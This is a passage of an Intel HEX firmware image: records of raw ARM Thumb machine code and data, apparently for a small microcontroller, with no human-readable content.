:10C7C00003000F2010B5084002280ED80EF050F8D4 :10C7D00002040900180010BD0648002BFBD10648D2 :10C7E000F9E7180016F04AF9F5E7180016F061F9B4 :10C7F000F1E7C046B4AD0200ACAD0200074BC20782 :10C800000AD4074A074B0240062A05D00322064BEA :10C810000240022A00D003681800704704C60200D4 :10C82000070080FF40BB02000CAB020070B50D009A :10C8300004001600F5F7B6F92800FFF7DFFF83685C :10C84000002B04D0320029002000984770BD4268B8 :10C850000249200016F0B9FBF8E7C0460143030087 :10C8600010B50A0001000248FFF7E0FF10BDC04606 :10C8700034B70200F7B5040008000E0015F0DDFB28 :10C8800000280FD001AA69463000F5F769FF009B28 :10C89000002B07D01549200016F0D9FA009BDD1EA9 :10C8A000002D09DA310002222000FFF7BFFF1049F6 :10C8B000200016F0CCFAF7BD019AAF00D3195B68DF :10C8C000D2590C49200016F080FB019BDF19BA6891 :10C8D000002A05D10649200016F0B9FA033DDFE72A :10C8E0000549200016F071FBF8E7C046BF4203007F :10C8F0008E6F0300E3420300F842030010B504000A :10C90000FFF77CFF054B0069984203D0431E984116 :10C91000C0B210BD200016F04FFCFAE71D8A0000DF :10C9200070B505000C0001208D4203D0214B9D42C3 :10C9300001D1002070BD9942FBD001231D4204D0DB :10C940001942F6D12B000D001C002A001A4B1A4088 :10C95000062A05D0AA0711D1184A296891420DD19B :10C960002340062B05D0A307E3D1144B22689A423B :10C97000DFD121002800FCF7B9FEDBE72340062BBE :10C98000D7D0A30703D10D4B22689A42D1D02800FB :10C99000FFF734FF8369002BCBD0220029001B2036 :10C9A00098470028C5D0064BC01A43425841C0B230 :10C9B000C0E7C04624DD0200070080FF40BB020044 :10C9C000B4AD0200104B10B5984219D00F4A0123A4 :10C9D000904217D0184201D0184110BD830706D1EC :10C9E0000B4B02689A4202D1F9F766F9F5E717F0A6 :10C9F0008CF9084902000848F5F712FEFAF750FDD5 :10CA00000020EAE71800E8E7ACAD0200B4AD020090 :10CA100004C602008642030058A6020010B5C307F0 :10CA200005D4830706D1054B02689A4202D116F05D :10CA300062F810BDFFF7C6FFFBE7C04604C6020060 :10CA4000104B70B50D000124984204D100230B60F7 :10CA50002300180070BD0C4B984201D10C60F7E721 :10CA60000300234002D040102860F1E70322024077 :10CA7000EFD11300054902688A42EAD1F9F71CF99F :10CA8000F2E7C046ACAD0200B4AD020004C602003D :10CA9000184B10B5984228D0174B984227D0C3079F :10CAA00003D540100FF02EF810BD0323184206D115 :10CAB000124A0168914202D116F026F8F4E702000A :10CAC0001A40022A08D10E4A0240062A04D0FF2248 :10CAD000D20580189843E7E717F017F909490200D3 :10CAE0000948F5F79DFDFAF7DBFC0020DCE7FE20A6 :10CAF0008005D9E7ACAD0200B4AD020004C6020067 :10CB0000070080FF6C42030058A6020010B583079F :10CB10000CD103680A4CA34202D119F0EDFB10BD01 :10CB2000084CA34202D116F09AFEF8E717F0EDF890 :10CB3000054902000548F5F773FDFAF7B1FCC04658 :10CB40006CD10200FCC102001C42030058A6020086 :10CB500013B50C0001A9FFF7D9FF019BA34206D032 :10CB6000220003490348F5F75BFDFAF799FC13BD72 :10CB70003F420300D0A60200F7B506000D001400E6 :10CB80001F00D3070FD554100194019B002B01DA2D :10CB90005B190193019B002F1BD0002B15DA00239A :10CBA00001930198FEBD01A91000FFF749FF00287D :10CBB000EBD12000756817F0A8F82A0003000A4995 :10CBC0000A48F5F72DFDFAF76BFCAB42E9D9019560 :10CBD000E7E7002B01DBAB42E3D372680449054869 :10CBE000F5F71EFDEFE7C046E241030058A602003C :10CBF000064203004CA3020010B50400830710D1C5 :10CC00000D4B02689A420CD10C4B0340062B06D107 :10CC1000C0081AF0EEFC43000120184310BD8068E4 :10CC2000F9E72000FFF7EAFD4369181EF6D021005E :10CC300001209847F2E7C04620B90200070080FFB4 :10CC4000164B70B5040000209C4203D0144DAC423A :10CC500001D1012070BD134B00209C42FAD0012667 :10CC60002640864203D06010431E98410DE020000C :10CC7000FFF7C4FD4369002B09D02100300098471D :10CC8000002804D0401B43425841C0B2E2E72000D4 :10CC9000FFF7B2FF0028DCD00138E5E7ACAD0200B9 :10CCA000B4AD020024DD020010B50400FFF7A4FFBC :10CCB000002809D1200017F028F804490200044890 :10CCC000F5F7AEFCFAF7ECFB10BDC0469E42030040 :10CCD00058A6020070B504000D001600FFF78EFD87 :10CCE000036A002B05D03200290020009847002855 :10CCF00018D10D4D2000002E08D117F006F80200C3 :10CD00000A492800F5F78CFCFAF7CAFB042E04D177 :10CD100016F0FBFF06490200F3E716F0F6FF05499F :10CD20000200EEE770BDC04658A6020006430300AD :10CD3000314303005243030010B516F0FDFF0028F5 :10CD400002D10248F4F762FC10BDC046BD410300A9 :10CD5000F0B5036899B00700986807911AF0A5F933 :10CD6000431E0493031D9B00FB1802933B0001220A :10CD70000F21800014331B180393FB6806A81A4088 :10CD800009180A70032293430A930CA8FAF762FB6E :10CD9000031E00D044E3079A7D68BC68002A00D1D6 :10CDA000A1E22A785E2A00D19DE207980793F4F762 :10CDB00083F904000AE0D84B63600434D74B9A6CC3 :10CDC000002A00D18EE200229C6C9A64FAF760FB84 :10CDD0000D9425E3D24BEFE7D24BEDE77F216B7843 :10CDE0005B06DB173278DB01100052B208400343C8 :10CDF0000136002AF6DB01225B001343DCE7002347 :10CE00007F213278DB01100052B20840C31801368E :10CE1000002AF6DBDB000622EFE703220336964307 :10CE200008CEC9E70023C7E700237F213278DB0162 :10CE3000100052B20840C3180136002AF6DB9B00EE :10CE40005B42029A9858002800D02BE3B649B748B5 :10CE500015F0EFF8ADE700237F213278DB011000F9 :10CE600052B20840C3180136002AF6DB029A9B0032 :10CE70005B42985815F015F8E5E700207F223378DB :10CE8000C00119005BB2114008180136002BF6DB17 :10CE9000251DF3F70FFC60603EE000207F22337811 :10CEA000C00119005BB2114008180136002BF6DBF7 :10CEB000251DF3F7CDFBEEE700217F223378C90172 :10CEC00018005BB2104041180136002BF6DB2068D9 :10CED00014F08BFF206071E700217F223378C901B5 :10CEE00018005BB2104041180136002BF6DB22001F :10CEF00001CCF3F759FD61E700207F223378C001B0 :10CF000019005BB2114008180136002BF6DB210036 :10CF10000839251FFBF764FE2C004FE7251DF3F7AA :10CF2000E1FBB8E7251F042221682868FFF7D2FE3D :10CF30002860F1E700237F213278DB01100052B234 :10CF40000840C3180136002AF6DB9B005B42029AB8 :10CF500021689950FBE000237F213278DB0110002B :10CF600052B20840C3180136002AF6DB029A9B0031 :10CF70005B4221689858251F14F095FFCCE70020EC :10CF80007F223378C00119005BB2114008180136C6 :10CF9000002BF6DB2168251FF3F7BAFBBCE7002066 :10CFA0007F223378C00119005BB2114008180136A6 :10CFB000002BF6DB2168251FF3F7C2FBACE700214D :10CFC0007F223378C90118005BB210404118013646 :10CFD000002BF6DB231F1A682068F3F70DFD083CD1 :10CFE000ECE62200231F083A216812681868FFF750 :10CFF00071FE0C3CE2E600237F213278DB01100059 :10D0000052B20840C3180136002AF6DB029A9B0090 :10D01000D31A1A68002A00D118E700221A60CDE658 :10D0200000257F223378ED0119005BB211404D19C4 :10D030000136002BF6DB029BAD005D1B286814F067 :10D0400030FF002800D101E70021286814F02BFFF1 :10D05000B4E600207F223378C00119005BB2114092 :10D0600008180136002BF6DBF3F75EFBA6E600207E :10D070007F223378C00119005BB2114008180136D5 :10D08000002BF6DBF3F768FB98E6230004CB626025 :10D090001C0093E62368A360231F1B6863600834A9 :10D0A0008CE6231F196822682160B7E7221F1368E6 :10D0B000216823602300083B1868106019607DE632 :10D0C000737832781B021343ED18194BEE1875E68E :10D0D00033787678206836021E430196FFF7B0FD5C :10D0E000EE1C251F2C00002800D167E6114A019B89 :10D0F00094466344F61861E6337876782068360201 :10D100001E430196FFF79CFDEE1C251F2C000028F6 :10D1100000D053E6EAE7C046ACAD0200842E002002 :10D1200024DD0200B4AD02007F43030078A40200B6 :10D130000380FFFF0080FFFF337876782068360297 :10D140001E430196EE1CFFF77BFD0028CED1043C68 :10D1500034E633787678206836021E430196EE1C5A :10D16000FFF76EFD0028C1D0F1E7F121266822000B :10D1700030004900F3F718FC2300F02108331A00AF :10D18000300049000193F3F70FFC0021019A0800D9 :10D1900014F01CFEAB786A781B0213430A9AEE1C4B :10D1A0000C320A920A9AF31813600F2206ABD218B7 :10D1B0001578231D1D4302230A992B434B6000233E :10D1C0000A9913708B60A060019CF7E52500236825 :10D1D000B54A0193083D934209D16360A3602A00D8 :10D1E0000021032014F0F2FD019B2B6094E6012244 :10D1F000019B134005932AD0231F1A680592019AB8 :10D200005210012A0DD1A84A0C3C1A60E26022613A :10D2100000212200032014F0D9FD059B2360032385 :10D22000E3E72A68002106929F4A03202A601A60D9 :10D230002300103B22601A00019314F0C7FD019BEC :10D24000069A0C3C1A60059B23600523CDE7019BE1 :10D2500063601800FFF7D2FA934B2060A3602A00A6 :10D260000599032014F0B2FDFFF7EAFC00280DD069 :10D2700001228D4B06A92B600A9B5B6813400E327E :10D28000521813700A9B0C3B0A9345E66368ACE79F :10D29000737832781B021343844AEB189B1863603F :10D2A000EB78083423600F267F210220012506AA8F :10D2B0002368B6180B4206D1221F1668002B00D136 :10D2C0008DE6183C7AE50A9A013B526802426FD01B :10D2D000220008C20523636014000A9B1E680A9B93 :10D2E0000C3B0A9335007D602B786E1C18001038BB :10D2F0005A2800D903E30DF0C5FA5EFD6DFD6FFD00 :10D30000020371FD020382FD90FD95FD97FDAEFDC8 :10D31000C0FDD0FDDFFDEFFDFFFD11FE15FE1DFE82 :10D320002EFE42FE52FE62FE74FE7EFE93FEACFEB8 :10D33000BAFE0203020302030203C8FECDFE2AFF67 :10D34000D4FED9FEE3FEEBFEFFFE1FFF2CFF02031F :10D350000203020338FF69FF630063008000AE0030 :10D36000BF00DD00DD00CBFFB300020302030203B8 :10D3700002030203020302030203E900FB000203AB :10D380000D011C01020325015201370173018901BE :10D390003602660294027E0202039E01A801B201D7 :10D3A000BF01CB01E80102021F02CC02EB02FC022A :10D3B0000A9A52682A4032700A9A0C3A0A9279E71D :10D3C000737832781B0213430A9AEE1C0C320A92CD :10D3D0000A9AF31813602B7806A9403B5A4253412E :10D3E0000F22521810785B000A99034323434B60C5 :10D3F00000230A9913708B60E0E423682A4A934261 :10D4000000D1A4E6DA0707D55B10DBB2043C012BA0 :10D4100000D048E70222CCE1FAF73AF823680D93EE :10D420000D9B23491868FBF7EBFB002800D1ACE209 :10D430007A68002A00D1A8E21378432B00D096E244 :10D44000937850781B02D11C0343CB187B60BB68D8 :10D45000103BBB6099E400212068F3F7F1FA39E54D :10D460002500210020680C35F3F7EAFA844200D148 :10D4700052E5002323600EE52000337876780C38DF :10D480003602BC601E4303680196EE1C002B02D1DD :10D490002300083B1868F3F70DFB002802D1103C6D :10D4A000019B27E6606088E424DD02000380FFFF23 :10D4B000A4A5020001220A9B06A95B6813400E3254 :10D4C000521813700A9B0C3B0A9377E400207F22CA :10D4D0003378C00119005BB2114008180136002BE7 :10D4E000F6DB8100641A0434210005F003FBF1E44B :10D4F00000207F223378C00119005BB21140081868 :10D500000136002BF6DB8100641A0434210016F08A :10D510008FF9DFE400207F223378C00119005BB26D :10D52000114008180136002BF6DB251D17F096FD7B :10D53000B1E42500231F083D1A682168286817F008 :10D54000C6FDE9E400207F223378C00119005BB2F8 :10D55000114008180136002BF6DB8100641A0434F0 :10D560002100F6F781FEB5E400237F213278DB014C :10D57000100052B20840C3180136002AF6DB251FFE :10D5800028682168022B03D1CB4AFDF71DFACFE4AE :10D59000083C0A0001002068FDF716FA9AE400230F :10D5A0007F213278DB01100052B20840C3180136E7 :10D5B000002AF6DB9A089200524210590322216891 :10D5C0001340251F002B02D1FEF780F8A4E4012BA5 :10D5D00003D12A6817F07BFD01E514F03AFE9BE4C5 :10D5E00000257F213378ED011A005BB20A405519FE :10D5F0000136002BF6DB220029002068F3F712FC2D :10D60000AE4B5D19AD006419FFF7D8FB00257F21F3 :10D610003378ED011A005BB20A4055190136002B30 :10D62000F6DB220029002068F3F74EFCFF222B0ACC :10D6300013401540E5E7032203369643002201CE4E :10D640001100251D19F049FD25E4032203369643F8 :10D65000251F2268296801CE19F03FFD68E40322E6 :10D66000F31C934319795E1D8A00A41A0434220026 :10D67000186819F04EFD2DE40322F31C934318792A :10D680008021C243490092005E1DA4180143EEE7C9 :10D6900000207F213378C0011A005BB20A401018C5 :10D6A0000136002BF6DBFF25FF220100C3096D00C8 :10D6B00011402B405B189B00E41A000A0240231D16 :10D6C0002068F3F7C7F8FFF705FC00217F223378C5 :10D6D000C90118005BB2104041180136002BF6DB7F :10D6E000FF22CB0952001340CAB29B189B00E41AD8 :10D6F000083C22000020F3F745FAFFF7EBFB00237C :10D700007F203278DB01110052B20140CB18013684 :10D71000002AF6DBFF211800FF250840DA096D001A :10D720002A40451C52199200A41A1B0A19402200D3 :10D7300014F04CFBFFF7CEFB00217F223378C901A8 :10D7400018005BB2104041180136002BF6DBFF22B7 :10D75000CB0952001340CAB29B189B00E41A0C3C40 :10D7600022000120C7E70F2206ABD2181378002B46 :10D7700000D14FE601210A9B5B680B4013700A9BA6 :10D780000C3B0A9346E60A9B5B6813420ED00322C9 :10D790000A9B21685B6893431C0059609A600A9B4E :10D7A00008341E680A9B0C3B0A939BE50A9B0C3BC2 :10D7B0000A930A9B03998B42E5D2F9F769FE002090 :10D7C000BC6019B0F0BD6B78022B03D1043C20681B :10D7D000FFF7EDFA002BFAD10A9B039A934203D28A :10D7E00037493848FFF734FB9868002801D0FFF725 :10D7F000DEFA0C3BF1E7231F0593079B0193231FE0 :10D800001868019B002B19D00021079B07910193F9 :10D81000019A0BABF3F7D6FB0B9B012812D12E001C :10D820002360F9F735FE0F2306AA9B181A780A9B86 :10D830007E601343BC60FB600120C2E70BAB019A22 :10D840002168E7E7002811D1002B00D11A4B043CD6 :10D850002360019B002B19D01B49180014F0F3FB27 :10D86000002813D0F9F714FE019BD8E517491800DA :10D8700014F0E9FB002805D00B98F4F79DFE043C5A :10D880002060E6E7F9F704FE0B9BC8E5059CFFF76F :10D8900095FA00207F223378C00119005BB2114055 :10D8A00008180136002BF6DB251F2A682168F3F7DC :10D8B00021FCFFF73DFBC04624DD0200FFFFFF3FD8 :10D8C000C543030068A5020098A20200A4A50200B7 :10D8D00000217F223378C90118005BB21040411843 :10D8E0000136002BF6DB250001CDF3F715FCFFF721 :10D8F000D2FA2068251F14F084FAFFF70DFBAF2B36 :10D9000005D80120803B5B000343FFF755FABF2B8E :10D9100004D8B022D31A9B00FFF793FACF2B04D878 :10D92000C022D31A9B00FFF712FBD62B06D8D03BA0 :10D9300018002168F2F71CFFFFF7CCFAFA2B08D881 :10D94000251FD73B180022682968F3F7A3FCFFF7CF :10D95000EFFA4549454814F06CFB0400F9F798FDCF :10D96000049B04339B00FB185C60022029E75E2BBC :10D970000BD1BC680D98231DBB60F4F71DFE6060E1 :10D980007B6801337B60FFF700FA0D9B384A9342B6 :10D990002AD0384A934227D03B68986819F08BFB0D :10D9A00019F089FB7B68051D28005C1B19F07DFBC5 :10D9B0000600280019F07FFB050019F076FBA41B78 :10D9C0000600280019F077FB050019F06EFB0190A6 :10D9D000280019F070FB01220378002B09D13300D5 :10D9E00001990D98F4F788FE0F2306AA9B180121D0 :10D9F0001DE059B2002909DB19001F255B092940E8 :10DA000001308C42EBD3641AD218E5E70F21E025F0 :10DA10001940ED001B012B40457802302B43F0E705 :10DA20000A9A52680A401A700A9A0C3A0A921A78AC :10DA3000002AF5D10A9903980D9A81420DD301214C :10DA400019700A9B02311B687B600A9B5B688B43E1 :10DA50000A9904338A601A60FBE4049B04339B0038 :10DA6000FB185A6081E7C046AB430300B4A4020030 :10DA700010A1020020A102000122010003001140B8 :10DA8000100000290CD10800990709D11B6805492D :10DA900010008B4204D00448181A43425841C0B2C7 :10DAA0007047C04604C60200BCAD02000023FA2144 :10DAB000094A89001360094A1370094A1360094A28 :10DAC0001160094A1370094A111D0832D3670122F7 :10DAD000CB67074B1A7070471C020020DA2D00201C :10DAE0001802002020000020DB2D0020842E0020C2 :10DAF000DC2D002010B5084B084A1978002907D101 :10DB0000916C002902D0FFF7D1FF10BD30BFF4E7C0 :10DB100000221A70F9E7C046DC2D0020842E002078 :10DB2000837F0248002B00D101487047B4AD02004A :10DB3000ACAD02000023A022E02110B583770C4B8E :10DB4000D2050902D1500B4805F004FA0A4805F045 :10DB500001FA0A4805F0FEF9094805F0FBF9094801 :10DB600005F0F8F9084805F0F5F9084810BDC04679 :10DB70000C05000060CF020068CF020078CF0200E1 :10DB800080CF020090CF020008CF020024DD020007 :10DB9000F8B5164C2368002B07D148201BF080FCF9 :10DBA000050013490AF096FA2560124812490268E6 :10DBB0000B68D21A0123312A04D9623393429B4164 :10DBC0005B420233002201260C4D2E702F78032F6A :10DBD000FCD101329342F8D1036820680B600AF04F :10DBE00027FA430001201843F8BDC0462002002058 :10DBF000F4C30200D82F002024020020DD2D0020D5 :10DC000030B50D4C87B02378012B13D10B4B02227A :10DC10001D680621002302A819F0BFFF082204A9ED :10DC200068461BF0B8FC039B029A28000AF0B0F982 :10DC30000223237007B030BDDD2D0020200200201C :10DC4000A02010B51049C0054B7F5A1C002B09D1EC :10DC50004C8C0E4BA3430E4C03510E4B4A77520093 :10DC6000D05A0FE010335B00CB185C88A123DB0097 :10DC7000C450092AF1D1012006F08AFDFFF7C0FF48 :10DC80000120404210BDC04624000020F01F0000CB :10DC90000C0500001804030073B5041E09D11A4DC9 :10DCA0002B78002B2CD01949194816F05EF82C70EF :10DCB00073BD184D2B1DDE6FFEF7A0FD164B210026 :10DCC000984214D0154B2340062B05D0A30712D140 :10DCD000134B22689A420ED101A92000FBF756FD92 :10DCE000019B012B0CD1007817F056F90100300090 :10DCF00016F03BF8DCE70B490B4814F09AF9A864DE :10DD0000FFF7D4FED4E7C046DB2D002004CA020092 :10DD100024000020842E002064CA0200070080FF37 :10DD200040BB02005044030058A60200F7B5A123EF :10DD3000A021214AC905DB00CA500123C27F0D3250 :10DD400093401E4A8B50C37F01920133DBB2032BF9 :10DD50002FD0C3770200030000212233363219800E :10DD600002339342FBD1C47F154A6300D3180522C6 :10DD700004259446012167461A785E787A43114F4C :10DD80000633BA180F00AF409219127901355200CC :10DD90008218568C3E4356840D2DECD10D34A023B1 :10DDA000A122A140DB05D2009950828E01995A50E0 :10DDB000F7BD0023CDE7C046F01F00000C050000B2 :10DDC000E44303002400002070B5394B8CB01A786E :10DDD000022A07D1A0223749D2008A58012A07D047 :10DDE00003221A70344DAB7F002B03D1FFF708FFDD :10DDF0000CB070BD2800FFF799FF304A3049136816 :10DE00000968063313608B4207D300242D4B14603E :10DE10001B78012B0FD0022B45D000232A8C6B7767 :10DE2000FF33FF331A42E1D0E1222749D20001201B :10DE300006F07AFCDCE7254E331DDB6F002B04D0A7 :10DE400033000833DB6F002B02D1FFF72FFEE4E72E :10DE500005F02CFC6846F9F7FDFA00280CD11C4BA4 :10DE60001868F2F727FE0400F9F712FB05F028FC0A :10DE70002000FFF711FFD0E705F022FC019B1549B8 :10DE80001868FAF7BDFE0028F2D10198FEF7B6FC3B :10DE9000114B984203D11149114815F096F8019B96 :10DEA0000024B364E4E70F49280015F05EFFCCE7D7 :10DEB000DD2D00200070004024000020180200200A :10DEC00020000020DA2D002041DC0000842E0020FC :10DED0001C020020A4A502003CA40200EB400300A9 :10DEE00034B7020004CA0200F0B5002485B0154D15 :10DEF00002930AAB1B782E1D07000835080021008D :10DF000001920393F467EC67F2F79AFD0E4B019AC6 :10DF100018600E4BF7671A60029A0D4BE8671A708B :10DF20000C4B1C70F2F7C6FDFFF7B6FE01220A4B40 :10DF30001C600A4B1A70039BA34201D0FFF7DAFD65 :10DF400005B0F0BD842E00201C020020200000201F :10DF5000DB2D0020DC2D002018020020DA2D00200F :10DF6000F0B50024384B8FB01D1D0833DC67374BEC :10DF7000EC6709AD80C90138019500930523F4F7DA :10DF80000DFA6B68099C049307942B7B2E7A0593FA :10DF90002B7C20000393FFF76FFD2D4D002806D149 :10DFA00003232340022B09D12C40062C06D007ABBB :10DFB000002201212748FAF7DFFF07900798054064 :10DFC000062D05D0830730D1224B02689A422CD10E :10DFD00008A9FBF7DBFB089B002B23D0012B0DD1FD :10DFE000002E0BD1039B002B08D1007816F0D4FF34 :10DFF00007900799380015F0B8FE13E0079802F073 :10E00000C9F8079009AB1B7C002B03D00798FCF7DD :10E010004BFA0790059B049A009307993300380048 :10E02000FFF762FF0C480FB0F0BDFEF7E7FB0B4BAC :10E030009842E7D1002E02D1039B002BD9D007A92B :10E04000012004F057FDDCE7842E0020A0C402006C :10E05000070080FF40BB020024DD020064CA02000A :10E0600070B51B4B8AB005AD40C9013800930195CE :10E070000523F4F793F9059C20000494FFF7FCFCBA :10E08000002807D103232340022B0AD1114B1C4047 :10E09000062C06D004AB002201210F48FAF76CFFD2 :10E0A000049003A90498FBF771FB2A7C2B7B03994E :10E0B0000092059A02F058F82B7A01000093300084 :10E0C00000236A68FFF710FF04480AB070BDC0461D :10E0D000C8C40200070080FF40BB020024DD02002C :10E0E0000022074B10B51A70064B02321A70064B0D :10E0F000064A1B68063B1360FFF7FCFC10BDC046D8 :10E10000DC2D0020DA2D0020200000201802002045 :10E1100010B5FFF7E5FF014810BDC04624DD020041 :10E1200010B5042901D8042A02D90948F3F7AAF83E :10E13000092B01D90748F9E705244C430419A41811 :10E1400001229A402371038C1343038410BDC046FF :10E150001D4103005D440300F8B548680C000D68DC :10E16000FEF730FC0600A068FEF72CFC0700E06814 :10E17000FEF728FC3A00030031002800FFF7D0FF2B :10E180000048F8BD24DD020010B5042901D8042A96 :10E1900002D90448F3F776F805234B43C0188018DA :10E1A000007910BD1D41030070B5104C0500210021 :10E1B0000F4804F0E5FE21000E4804F0E1FE2100C6 :10E1C0000D4804F0DDFE21000C4804F0D9FE2100CA :10E1D0000B4804F0D5FE21000A4804F0D1FE15F0EA :10E1E00048FE01230848AB7770BDC046CCD2020080 :10E1F00060CF020068CF020078CF020080CF02001B :10E2000090CF020008CF020024DD02000139C9B21C :10E21000054B401880301970044A03781370044A83 :10E22000D25C044B1A707047DF2D0020E02D0020D7 :10E2300035560300DE2D00200131C9B2054B4018D0 :10E2400080301970044A03781370044AD25C044B7E :10E250001A707047DF2D0020E02D00203556030096 :10E26000DE2D0020084B984206D9084A084B1218A8 :10E270005218D21810787047064B074A1B185B18C3 :10E280009B181878F7E7C046A49200007654030064 :10E290005B6DFFFF8A4403000083FFFF0300202221 :10E2A0008033F0B51A707F2500234F265F270400C6 :10E2B0008BB08130E15C0A002A406F2A23D90A0022 :10E2C0003A40C25401337F2BF4D1BE4A137023006D :10E2D0001B22FF331A70E4320192531CBA48DBB29E :10E2E00004930370E31880331B78B8490B705B2BE1 :10E2F0000ED19B22019B0A700133DBB20370E25402 :10E3000001200BB0F0BD5F2ADBD90A003240D8E70C :10E310002E2B13D10232D2B20270A21880321278A0 :10E32000A8480270AA48825C0120024206D1019AE4 :10E330000B701218D2B20192A354C3E00220A14A7A :10E340001370A34AD25C104000D0BDE0002A0AD06E :10E3500016007F2552B2AE430E70002A1ADB9D4B89 :10E360009D4A1A60CDE7202297480A700378E31887 :10E3700080331A70019B0133DBB201930370782B59 :10E3800005D99B23019AA354049B0B70B8E7019B0A :10E39000E25497E0413B914ADBB29149D25CCB5CBD :10E3A000120213430293029B002101339BB2180017 :10E3B0000293FFF757FF0306F5D50123814E00278F :10E3C00033700123039303990298FFF74BFF039BDC :10E3D0005D1CEDB2282879D1002F00D0337037783A :10E3E0007B1CDBB2190002980693FFF73BFF29283C :10E3F0006FD17F26069B0893089B02980133DBB2FE :10E4000019000593FFF72EFF30403D2863D1002609 :10E410006E4B049A18706C4B07921A70694B1D7002 :10E42000079B2900E31880331B7802980993FFF7B4 :10E4300019FF099B9842B6D16B1CDBB2BD424DD18E :10E44000002E02D0604B079A1A70049D039B02981D :10E45000013BDBB20393039A5A4B11001A70FFF78A :10E4600001FF5A4E030640D5079D069B08990133CC :10E47000DBB20393039A534B1A70069A8A4200D078 :10E480001BE100257F272E00059A1A700599029836 :10E49000FFF7E8FE03003B403D2B04D0019A013218 :10E4A000D2B20192A354059A0132D2B2010600D42D :10E4B000B3E1464A1370002E02D0424B059A1A70FF :10E4C000079B0493049A08E7464B6BE701270395E3 :10E4D00079E7069F84E7059B08938DE7079A012655 :10E4E0000132D2B207921D009AE7394B7F211B5CA3 :10E4F000354F1A005BB28A4338703270002B08DA4D :10E50000013DEDB2631980331B783D7098429DD078 :10E5100049E7307020280BD129002000FFF776FE54 :10E520000023F356002B00DA3DE7274B1D788DE7DB :10E53000232807D129002000FFF768FE33785B0607 :10E54000F3D430E72E2807D129002000FFF75EFE24 :10E5500033781B07E9D426E726281BD129002000A1 :10E56000FFF754FE1022337813403370DDD13B782F :10E57000E118803109783170482900D013E7013B58 :10E58000DBB23B70E31880331B789343432B00D0FE :10E5900009E7CAE7402809D129002000FFF736FE25 :10E5A0000422337813403370BFD1FCE65E281BD1C0 :10E5B00029002000FFF72AFE202233781342B4D12D :10E5C000F1E6C046E02D0020DF2D0020DE2D0020EA :10E5D000355603001800002076440300BB560300A4 :10E5E000A1560300A59200002B280DD1013DEDB2EC :10E5F0003D70651980352B78452B96D010229343BA :10E60000492B00D0CFE690E73A2804D0844B854AC6 :10E6100000201A6075E629002000FFF7F7FD202191 :10E62000814A13780B40137000D10FE77F4B1D78A0 :10E63000F1E7492B00D0B6E6AB1CDBB21370E31850 :10E6400080331B780B704E2B00D0ACE60335EDB257 :10E650001570651980352B78472B00D1CCE0A2E6E8 :10E660001070180052380B70012800D8C4E0442BF9 :10E6700000D1C1E04C2B16D0462B00D093E6EB1C0A :10E68000DBB21370E31880331B780B70552B00D06E :10E6900089E60435EDB21570651980352B784C2B61 :10E6A00000D1A9E07FE60335EDB21570651980351C :10E6B0002B78592B00D19FE075E603990298FFF75C :10E6C000D1FD5B4B7F211B5C584F1A00564E8A438D :10E6D0005BB238703270002B0CDB3070202815D103 :10E6E00029002000FFF7A8FD0023F356002B00DBD4 :10E6F00082E058E60135EDB2631980331B783D7036 :10E70000984200D04FE6039B0693AEE6232807D13C :10E7100029002000FFF790FD33785B066CD442E6B9 :10E720002E2807D129002000FFF786FD33781B072C :10E7300062D438E626281BD129002000FFF77CFD93 :10E74000102233781340337056D13B78E118803172 :10E7500009783170482900D025E60133DBB23B70DF :10E76000E31880331B789343432B00D01BE643E030 :10E77000402809D129002000FFF75EFD04223378EC :10E780001340337038D10EE65E2808D129002000EE :10E79000FFF752FD2022337813422DD103E62B28B8 :10E7A0000DD10135EDB23D70651980352B78452BC3 :10E7B00022D010229343492B00D0F4E51CE03A28E4 :10E7C0001DD0252800D021E76B1C184ADBB213703E :10E7D000E31880331B7814490B70452B00D028E7D1 :10E7E000A81CC0B2231880331B78124E3370104E11 :10E7F000F656002E00DA33E70C4B1D7883E729002C :10E800002000FFF719FD2021074A13780B401370F1 :10E8100000D178E7054B1D78F1E70592012635E632 :10E820001800002080440300DE2D0020DF2D002092 :10E8300035560300E02D002010B50C00FDF7DEFF7B :10E84000006B00280ED0E30702D50368002B09D027 :10E85000A30702D54368002B04D0630706D583685D :10E86000002B03D10249034813F0ECFA10BDC04657 :10E87000D5560300F0A40200F0B50F008BB00400E1 :10E88000012138680392FFF7D7FF0290012C22D1B3 :10E890003B68012118000393FFF7CEFF802107009A :10E8A000490006A818F0B0FD80240023089E6400EB :10E8B000029305AB2200310003983D68A847431C32 :10E8C00028D105980B2800D0A7E0029B002B34D15B :10E8D00057480BB0F0BD7868FEF774F80600431C8B :10E8E000D6D00125029B04001B7B010006A82B4209 :10E8F0007DD018F089FD002303950293002C6DD084 :10E90000210006A818F0C0FD011E1ED149494A4841 :10E9100013F098FA002810D0029B1B18029384422F :10E9200002D9241A3618C4E7802106A8490018F035 :10E9300098FD802406006400BBE7029B3F480793D4 :10E940003B7BDB0771D43E486FE00023009322003D :10E9500005AB386815F09AFA059B0500002B0ED020 :10E9600006A8210018F0F4FD05980B2855D1079B47 :10E970000293002B32D106A818F068FDA8E7844264 :10E9800026D8089B0F259C46079A63460299039C4C :10E990005B5C59B2002911DA19001F20022481435F :10E9A000C0290BD019000134A943E02906D0072162 :10E9B0008B43F03B1C00611E8C410434029BE41825 :10E9C000944210D8013E02949442DED1340095E77F :10E9D000211A06A818F0BCFD002DD2D1174806A9AF :10E9E000FAF74AFA75E7D2431419A41986E718F022 :10E9F0001CFD039B32000093089905AB386815F0A5 :10EA000045FA059B002B0AD006A818F01FFD059BB0 :10EA100007480B2B00D15CE71800F2F719FE029BA8 :10EA200007901B7B05482B428DD006A9D8E7C0462E :10EA300024DD0200F45603003CA4020040BB0200A7 :10EA400020B9020030B50C0087B001210500206814 :10EA5000FFF7F2FE022203A96068FEF76DF9049A3F :10EA6000022D06D9A068FDF7ADFF049A824200D9B5 :10EA70000200002303990093206802AB15F006FA08 :10EA8000029B002B05D005480B2B05D01800F2F790 :10EA9000DFFD43000120184307B030BD24DD020034 :10EAA000F0B589B00191019B040001211868FFF7BE :10EAB000C3FE0700012C18D9019B5B685C10631C26 :10EAC00013D0210004A818F09FFC631C03D0631E20 :10EAD000002C2FD01C00012104A818F0D5FC061E24 :10EAE0000AD11B491B4813F0ADF90124102104A8D9 :10EAF00018F08AFC6442E8E70100019803AB0122A8 :10EB000000683D68A847431C0ED103980B2809D123 :10EB1000059B0193012B09D104A818F097FC0E481E :10EB200009B0F0BDF2F794FD00280CD1012104A832 :10EB300018F00EFD3B7B0948DB0700D4084804A908 :10EB4000FAF79AF9ECE733780A2BBED1F2E7C04620 :10EB5000F45603003CA4020024DD020040BB020086 :10EB600020B90200F0B51F0004000D00160085B0AA 